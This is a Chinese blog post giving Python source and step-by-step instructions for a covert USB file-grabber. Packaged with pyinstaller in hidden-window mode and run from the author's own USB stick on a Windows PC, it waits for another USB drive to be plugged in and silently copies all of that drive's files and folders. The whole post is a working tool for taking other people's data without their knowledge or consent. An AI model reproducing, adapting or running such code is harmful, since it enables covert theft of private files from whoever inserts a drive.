Python 获取插入电脑的usb上所有资源

使用方法及注意事项

注意事项:

  • 首先用 pyinstaller 对源文件进行打包至您的usb
  • pyinstaller -F -w 源文件
  • -w 表示运行时不弹出窗口(隐藏)

使用方法:

  1. 修改源文件的部分参数
  2. 用 pyinstaller 对源文件进行打包至您的usb
  3. 在您的usb上创建一个文件夹并将您的usb上所有内容拖进去(新建文件夹名要在源文件中修改,便于判断)
  4. 将您的usb提前插入目标电脑(windows有效)
  5. 在您的usb中启动pyinstaller 打包的源文件即可

 

原理:

  • 原理非常简单,扫描硬盘,检测是否有新的usb插入,如果有,获取相应的资源

 

我定义的函数(方法)相应解释:

  • obtain_usb():  # 获取双方usb盘符(拷贝和被拷贝的对象)
  • judge()   # 判断文件和文件夹
  •    copy_rest_file()      # 复制文件
  •    copy_folder()      # 复制文件夹
  •    establish():      # 为了防止出现异常,在复制文件时先创建一个空目录和空文件

 

接下来是源代码:

需要修改的地方:

  1. 第7行 类属性 my_folder 为您的文件夹名字(在双引号内替换成您的文件夹名即可)
  2. 第 106行 改变复制模式(可选)
  3. 第107行 变得友好一些(......)

 

  1 import os
  2 import time
  3 import shutil
  4 import psutil
  5 
  6 class Block_rose(object):
  7     my_folder = "打倒PDD"
  8 
  9     #目标usb 盘符
 10     usb_DC = ""
 11 
 12     # 将拷贝的文件放入的目录
 13     data_bank = ""
 14 
 15     # 目标文件
 16     file = []
 17 
 18     #目标文件夹
 19     folder = []
 20 
 21     def __init__(self):
 22         data_count = len(psutil.disk_partitions())
 23         while True:
 24             time.sleep(2)
 25             t = len(psutil.disk_partitions())
 26             if t == data_count + 1:
 27                 break
 28 
 29     def obtain_usb(self):
 30         temp1 = list(psutil.disk_partitions()[-1])[0] + "\\"
 31         temp2 = list(psutil.disk_partitions()[-2])[0] + "\\"
 32         if os.path.exists(temp1 + self.my_folder):
 33             self.data_bank = temp1
 34             self.usb_DC = temp2
 35         else:
 36             self.data_bank = temp2
 37             self.usb_DC = temp1
 38 
 39     def copy_file(self):
 40         self.copy_rest_file()
 41         self.copy_folder()
 42 
 43     def judge(self):
 44         file_list = os.listdir(self.usb_DC)
 45         for iters in file_list:
 46             if "." in iters:
 47                 self.file.append(iters)
 48             else:
 49                 self.folder.append(iters)
 50 
 51     def copy_folder(self):
 52         for iters in self.folder:
 53             shutil.copytree(self.usb_DC + iters,self.data_bank + iters)
 54 
 55     def copy_rest_file(self):
 56         for iters in self.file:
 57             shutil.copy(self.usb_DC + iters, self.data_bank + iters)
 58 
 59     def establish(self):
 60         try:
 61             os.mkdir(self.usb_DC + "text")
 62         except:
 63             pass
 64         f = open(self.usb_DC + "电子应用.txt","w")
 65         f.close()
 66 
 67     # 拷贝文件和文件夹
 68     def main(self):
 69         # 1 获取双方usb盘符(拷贝和被拷贝的对象)
 70         self.obtain_usb()
 71         self.establish()
 72 
 73         # 2 判断文件和文件夹
 74         self.judge()
 75 
 76         # 3 开始拷贝文件和文件夹
 77         self.copy_file()
 78 
 79     # 只拷贝文件夹
 80     def main_folder(self):
 81         # 1 获取双方usb盘符(拷贝和被拷贝的对象)
 82         self.obtain_usb()
 83         self.establish()
 84 
 85         # 2 判断文件和文件夹
 86         self.judge()
 87 
 88         # 3 开始拷贝文件夹
 89         self.copy_folder()
 90 
 91     # 只拷贝文件
 92     def main_file(self):
 93         # 1 获取双方usb盘符(拷贝和被拷贝的对象)
 94         self.obtain_usb()
 95         self.establish()
 96 
 97         # 2 判断文件和文件夹
 98         self.judge()
 99 
100         # 3 开始拷贝文件
101         self.copy_rest_file()
102 
103 
104 if __name__ == '__main__':
105     block_rose = Block_rose()
106     cmd = "file and folder"
107     # cmd = input("Do you want to copy files or folders?  ")
108     if cmd == "file":
109         block_rose.main_file()
110     elif cmd == "folder":
111         block_rose.main_folder()
112     elif cmd == "file and folder":
113         block_rose.main()
114     else:
115         print("The instruction error you entered is wrong!  ")

 

posted @ 2018-09-26 13:26  帝yi  阅读(6819)  评论(0编辑  收藏  举报